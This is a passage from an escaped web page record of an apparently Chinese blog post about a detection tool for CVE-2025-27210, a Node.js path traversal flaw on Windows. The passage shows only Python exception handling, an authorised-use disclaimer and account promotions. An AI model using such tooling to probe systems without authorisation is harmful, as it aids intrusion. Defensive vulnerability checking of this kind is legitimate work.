punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">except<\/span> requests<span class=\"token punctuation\">.<\/span>exceptions<span class=\"token punctuation\">.<\/span>ConnectionError<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token comment\"># \u5904\u7406\u8fde\u63a5\u9519\u8bef\u5f02\u5e38<\/span><br \/>\n        error_msg <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;\u8fde\u63a5\u76ee\u6807\u670d\u52a1\u5668\u5931\u8d25&#034;<\/span><br \/>\n        response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;error_message&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> error_msg<br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[-] <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>error_msg<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">except<\/span> Exception <span class=\"token keyword\">as<\/span> e<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token comment\"># \u5904\u7406\u5176\u4ed6\u672a\u9884\u89c1\u7684\u5f02\u5e38<\/span><br \/>\n        error_msg <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;\u672a\u9884\u671f\u7684\u9519\u8bef: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">str<\/span><span class=\"token punctuation\">(<\/span>e<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><br \/>\n        response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;error_message&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> error_msg<br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[-] <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>error_msg<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">return<\/span> response_data<\/p>\n<h4>\u514d\u8d23\u58f0\u660e<\/h4>\n<p>**\u6b64\u4fe1\u606f\u4ec5\u4f9b\u6388\u6743\u5b89\u5168\u7814\u7a76\u548c\u6559\u80b2\u76ee\u7684\u4f7f\u7528\u3002\u4f7f\u7528\u6b64\u77e5\u8bc6\u8fdb\u884c\u7684\u4efb\u4f55\u64cd\u4f5c\u90fd\u5fc5\u987b\u9075\u5b88\u6240\u6709\u9002\u7528\u7684\u6cd5\u5f8b\u548c\u9053\u5fb7\u51c6\u5219\u3002\u4f5c\u8005\u4e0d\u5bf9\u4fe1\u606f\u7684\u4efb\u4f55\u6ee5\u7528\u8d1f\u8d23\u3002\u5728\u6d4b\u8bd5\u6216\u4e0e\u4efb\u4f55\u7cfb\u7edf\u4ea4\u4e92\u4e4b\u524d&#xff0c;\u8bf7\u52a1\u5fc5\u83b7\u5f97\u9002\u5f53\u7684\u6388\u6743\u3002**FINISHED 6HFtX5dABrKlqXeO5PUv\/84SoIo&#043;TE3firf\/5vX8AZ6udfocgfjLsstCCk8zj3iO \u66f4\u591a\u7cbe\u5f69\u5185\u5bb9 \u8bf7\u5173\u6ce8\u6211\u7684\u4e2a\u4eba\u516c\u4f17\u53f7 \u516c\u4f17\u53f7&#xff08;\u529e\u516cAI\u667a\u80fd\u5c0f\u52a9\u624b&#xff09; \u5bf9\u7f51\u7edc\u5b89\u5168\u3001\u9ed1\u5ba2\u6280\u672f\u611f\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5173\u6ce8\u6211\u7684\u5b89\u5168\u516c\u4f17\u53f7&#xff08;\u7f51\u7edc\u5b89\u5168\u6280\u672f\u70b9\u6ef4\u5206\u4eab&#xff09;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2025-27210&#xff1a;Node.js Windows\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177<br \/>\n\u9879\u76ee\u6982\u8ff0<br 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